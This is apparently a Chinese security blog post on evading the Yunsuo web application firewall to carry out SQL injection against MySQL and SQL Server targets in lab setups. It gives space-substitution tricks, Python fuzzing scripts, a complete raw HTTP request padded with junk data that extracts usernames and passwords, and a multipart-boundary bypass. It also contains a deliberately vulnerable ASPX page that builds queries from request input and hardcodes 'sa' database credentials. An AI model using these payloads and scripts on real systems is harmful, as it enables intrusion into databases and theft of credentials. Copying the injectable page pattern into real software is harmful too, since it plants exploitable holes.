<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Bypass云鎖MySQL注入總結

    VSole2021-12-14 07:25:37

    MySQL特性

    空格可以由其它字符替代

    select id,contents,time from news where news_id=1unionselect1,2,usernamefromadmin
    • 位置①
    • 可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可以利用注釋符號替換空格:/**/、%23test%0d%0a、 —+a%0d%0a
    • 可以利用數學運算以及數據類型:news_id=1.0,news_id=1E0,news_id=\N
    • 位置②
    • 可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可以利用注釋符號替換空格:/**/、%23test%0d%0a、 —+a%0d%0a
    • 可以利用括號:union(select 1,2)
    • 位置③
    • 可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可以利用注釋符號替換空格:/**/、%23test%0d%0a、 —+a%0d%0a
    • 可以利用其它符號:+ 、- 、 ~ 、!、@
    • 位置④
    • 可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可以利用注釋符號替換空格:/**/、%23test%0d%0a、 —+a%0d%0a
    • 大括號{}:union select {``1},{x 2}
    • 可利用數學運算以及數據類型:
    union select usename,2.0from admin
    union select username,8e0from admin
    union select username,\Nfrom admin
    • 位置⑤
    • 可以利用其它控制字符替換空格:%09,%0a,%0b,%0c,%0d,%20,%a0
    • 可以利用注釋符號替換空格:/**/、%23test%0d%0a、 —+a%0d%0a
    • 反引號`:union select 1,table_name,3 from`information_schema`.`tables`limit 0,1%23
    • 內聯注釋:union select 1,table_name,3 from /*!50001information_schema.tables*/ limit 0,1%23
    • 大括號{}:union select 1,table_name,3 from{x information_schema.tables}limit 0,1%23
    • 小括號():union select 1,table_name,3 from(information_schema.tables)limit 0,1%23

    實驗環境

    靶場:DVWA(low級別)

    數據庫:MySQL 5.5

    Web腳本:PHP 5.4.19

    WAF:云鎖-win_3.1.20.24


    超大數據包繞過

    繞過原理

    資源限制:WAF長度資源限制

    假如HTTP請求POST BODY太大,檢測所有內容,WAF集群消耗太多的CPU、內存資源。因此許多WAF只檢測前面的2M或4M的內容。對于攻擊者而言,只需要在POST BODY前面添加許多無用的數據,把攻擊的payload放在最后即可繞過WAF檢測。

    實驗步驟

    首先使用BurpSuite抓取數據包,并記下數據包的Header信息


    編寫好我們的Python腳本進行FUZZ:

    #! /usr/bin/env python# _*_  coding:utf-8 _*_
    import requestsimport random
    headers={"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0","Cookie":"security_session_verify=8e11e7d561e260e3a97a6b1dc9da173b; PHPSESSID=8d2qf26p3tarqosghic3ol6j22; security=low;"}url="http://hackrock.com:812/vulnerabilities/sqli/?Submit=Submit"
    def generate_random_str(randomlength=16):    random_str = ''    base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'    length = len(base_str) - 1    for i in range(randomlength):        random_str += base_str[random.randint(0, length)]    return random_str
    for i in range(500,50000,100):    payload = {'id':"1'union-- "+generate_random_str(i)+"\rselect 1,2#"}    try:        response=requests.post(url=url,headers=headers,data=payload,timeout=0.5)        result = response.content        print result        #print result        if result.count('union'):            print "Length is : %s " % str(i)            break    except:        print "."
    

    這個腳本的作用是生成臟數據進行POST傳參,最后返回FUZZ之后的響應內容與臟數據的長度

    執行腳本:

    pyhton2 fuzz.py
    


    將返回的內容粘貼至BurpSuite

    從響應內容可以看出,我們構造好的臟數據已經成功繞過了WAF

    然而又有一個問題,當我們想要查詢數據時,仍然被WAF攔截

    這是因為云鎖對select+關鍵信息做了規則匹配

    這時我們可以使用多行注釋符/**/加臟數據的方法去繞過WAF

    構造數據包:

    POST /vulnerabilities/sqli/?Submit=Submit HTTP/1.1Host: hackrock.com:812User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 9284Origin: http://hackrock.com:812Connection: closeReferer: http://hackrock.com:812/vulnerabilities/sqli/?Submit=SubmitCookie: security_session_verify=8e11e7d561e260e3a97a6b1dc9da173b; PHPSESSID=8d2qf26p3tarqosghic3ol6j22; security=lowUpgrade-Insecure-Requests: 1
    id=1'union-- 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*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*/null,concat_ws(char(32,58,32),user,password) from users%23#
    

    可以看到SQL注入成功

    注:如果想要查詢函數,如database(),需要在database與括號之間插入注釋符與臟數據,database/*臟數據*/()

    畸形的boundary繞過

    繞過原理

    HTTP協議兼容性:HTTP Body的多樣性

    規則缺陷/特性:WAF對boundary識別的局限性

    PHP在解析multipart data的時候有自己的特性,對于boundary的識別,只取了逗號前面的內容,例如我們設置的boundary為——aaaa,123456,php解析的時候只識別了——aaaa,后面的內容均沒有識別。然而WAF在做解析的時候,有可能獲取的是整個字符串,此時可能就會出現繞過。

    實驗步驟

    首先使用BurpSuite進行抓包,并發送到Repeater

    點擊右鍵,選擇修改請求方法,將GET請求轉換為POST請求

    再點擊右鍵,選擇修改body編碼,將內容提交協議更改為multipart/form-data

    先使用聯合查詢測試是否會被WAF攔截

    果然被攔截了,說明WAF的規則是覆蓋到multipart/form-data協議的

    我們修改下boundary的值,再發送數據包

    WAF并未攔截,成功利用該方法繞過


    Bypass云鎖SQLServer注入

    SQLServer特性

    空格可以由其它字符替代

    select id,contents,time from news where news_id=1unionselect1,2,db_name()fromadmin
    • 位置①
    • 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
    • 可以利用注釋符號:/**/、—+a%0d%0a
    • 可利用數學運算符以及數據類型:news_id=1.0,news_id=1e0,news_id=1-1
    • 位置②
    • 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
    • 可以利用注釋符號:/**/、—+a%0d%0a
    • 可以利用加號+替換空格:union+select
    • 位置③
    • 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
    • 可以利用注釋符號:/**/、—+a%0d%0a
    • 可利用數學運算符:+、-、~、. (注:其中-、~、.號必須是select查詢的第一個字段的數據類型為數字型才能使用)
    • 可以利用小括號()替換空格:select(1),2,db_name()
    • 位置④
    • 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
    • 可以利用注釋符號:/**/、—+a%0d%0a
    • 可利用其他字符:%80~%FF(需要IIS服務器支持)
    • 位置⑤
    • 可以利用其它控制字符替換空格:%01~%0F、%11~%1F
    • 可以利用注釋符號:/**/、—+a%0d%0a
    • 可利用其他字符:%80~%FF(需要IIS服務器支持)
    • 可以利用點號.替換空格:from.users
    • 可以利用中括號[]替換空格:from[users]

    實驗環境

    數據庫:SQL Server 2008R2

    Web服務器:IIS7.5 CN

    WAF:云鎖-win_3.1.20.24

    靶場源碼如下:index.aspx

    <%@ Page Language="C#" AutoEventWireup="true" %><%@ Import Namespace="System.Data" %><%@ Import namespace="System.Data.SqlClient"  %></span></code><code><span class="code-snippet_outer">    private DataSet resSet=new DataSet();</span></code><code><span class="code-snippet_outer">    protected void Page_Load(object sender, EventArgs e)</span></code><code><span class="code-snippet_outer">    {</span></code><code><span class="code-snippet_outer">        String strconn = "server=.;database=test;uid=sa;pwd=admin";</span></code><code><span class="code-snippet_outer">    string id = Request.Params["id"];</span></code><code><span class="code-snippet_outer">        string sql = string.Format("select * from newss where id={0}", id);</span></code><code><span class="code-snippet_outer">        SqlConnection connection=new SqlConnection(strconn);</span></code><code><span class="code-snippet_outer">        connection.Open();</span></code><code><span class="code-snippet_outer">        SqlDataAdapter dataAdapter = new SqlDataAdapter(sql, connection);</span></code><code><span class="code-snippet_outer">        dataAdapter.Fill(resSet);</span></code><code><span class="code-snippet_outer">        DgData.DataSource = resSet.Tables[0];</span></code><code><span class="code-snippet_outer">        DgData.DataBind();</span></code><code><span class="code-snippet_outer">        Response.Write("執行語句:<br>"+sql);</span></code><code><span class="code-snippet_outer">        Response.Write("<br>結果為:");</span></code><code><span class="code-snippet_outer">    }</span></code><code><span class="code-snippet_outer">
        SQLServer注入測試        
    
                        BorderStyle="None" BorderWidth="1px" CellPadding="4"                 HeaderStyle-CssClass="head" Width="203px">                                                    Mode="NumericPages" />                    
        
        
    

    GET方法傳輸POST數據繞過

    繞過原理

    HTTP協議兼容性:HTTP Method的多樣性

    規則缺陷/特性:IIS中的GET請求可以傳輸POST數據

    大家的常識是GET參數通過URL傳遞,POST放在Request body中。

    但是在某些中間件(如IIS)中的GET請求同樣可以傳輸POST數據。

    實驗步驟

    首先使用POST方法發送數據,并使用BurpSuite抓取數據包

    將POST請求方法改為GET請求方法,發現仍然是可以發送數據的

    在請求體中構造我們的payload,可以繞過云鎖WAF實現SQL注入

    注:使用IIS服務器部署的Web應用也可以用該方法去繞過云鎖

    多行注釋符替代空格繞過【未成功】

    繞過原理

    規則缺陷/特性:數據庫空格可使用其它字符替代

    在進行SQL語句查詢的時候可以利用注釋符來替代語法中的空格,例如

    select * from [dbo].[User] where id=1
    

    可替代為:

    select/**/*/**/from/**/[dbo].[User]/**/where id=1
    

    那么意味著在注釋符中可以添加大量的無效字符來打破WAF的規則匹配。

    實驗步驟

    首先使用BurpSuite抓取數據包,并記下數據包的Header信息


    編寫好我們的Python腳本進行FUZZ:

    #! /usr/bin/env python# -*- coding:utf-8 -*-
    import randomimport requestsimport time
    headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0'}url="http://hackrock.com:8205/index.aspx"def generate_random_str1(randomlength=4):  random_str = ''  base_str = '!@$%^&*()_+=-'  length = len(base_str) - 1  for i in range(randomlength):    random_str += base_str[random.randint(0, length)]  return random_str
    def generate_random_str2(randomlength=10):  random_str = ''  base_str = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'  length = len(base_str) - 1  for i in range(randomlength):    random_str += base_str[random.randint(0, length)]  return random_str
    
    for i in range(600):  random_str = generate_random_str1() + generate_random_str2()  payload = {'id':"1 union/*"+random_str+"*/select 1,'2','3'"}  try:    time.sleep(0.5)    response = requests.post(url=url, headers=headers, data=payload, timeout=0.5)    if response.status_code == 200:      print(payload)  except:    pass
    

    這個腳本使用的是python3編寫,生成以特殊符號開頭的無效字符,使用POST方法進行FUZZ

    執行腳本:

    python3 fuzz_2.py
    

    這里發現一個規律:注釋符/**/中的無效字符都是以!開頭,形如MySQL中的內聯注釋符。這可能是云鎖在數據清洗時未對這兩個數據庫做嚴格區分,造成繞過

    選擇一個payload進行測試

    但是在查詢關鍵函數的時候仍會被攔截

    這時候不用慌,可以采用特殊符號插入函數名與括號之間,或直接插入空格即可

    然而,在構造payload進行爆賬號密碼時,卻被攔截

    查看后臺告警信息

    云鎖會自動將注釋符轉換為空格,從而判斷是否存在違規操作。

    在嘗試多次后,這種方法終究不能完美繞過云鎖。但在測試的過程中卻意外發現了另外一種簡單的云鎖繞過方式。

    注釋符與回車符結合繞過

    繞過原理

    規則缺陷/特性:數據庫空格可使用其它字符替代

    在嘗試使用多行注釋符替換空格的過程中,意外地發現了一個繞過方法:

    可以利用注釋符與回車符結合來替代語法中的空格:

    ?id=-1--%0dunion select 1,'2','3'
    

    這是MSSQL中的一個特性,—注釋符可以與直接%0d結合,使—注釋符無法生效

    這可能是云鎖在過濾中的疏忽導致的繞過

    實驗步驟

    如果想要知道除了%0d還有哪些字符可以繞過云鎖,可以編寫一個簡單的python腳本進行FUZZ

    #! /usr/bin/env python# -*- coding:utf-8 -*-
    import requestsimport time
    headers = {'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0'}base_url = "http://hackrock.com:8205/index.aspx"def generate_str():  url_str = []  base_str = '0123456789abcdef'  for i in base_str:    for j in base_str:      url_str.append('%'+i+j)  return url_str
    url_str = generate_str()
    for i in url_str:  url = base_url + "?id=-1--" + i + "union select 1,'2','3'"  try:    time.sleep(1)    response = requests.get(url, headers=headers, timeout=0.5)    len_text = len(response.text)    if response.status_code == 200:      print(url)      print(len_text)  except:    pass
    

    可以根據返回的請求體長度判斷有哪些字符可以繞過WAF,當然也可以使用BurpSuite進行FUZZ

    但測試下來只有%0d可以繞過,且能正常爆出數據

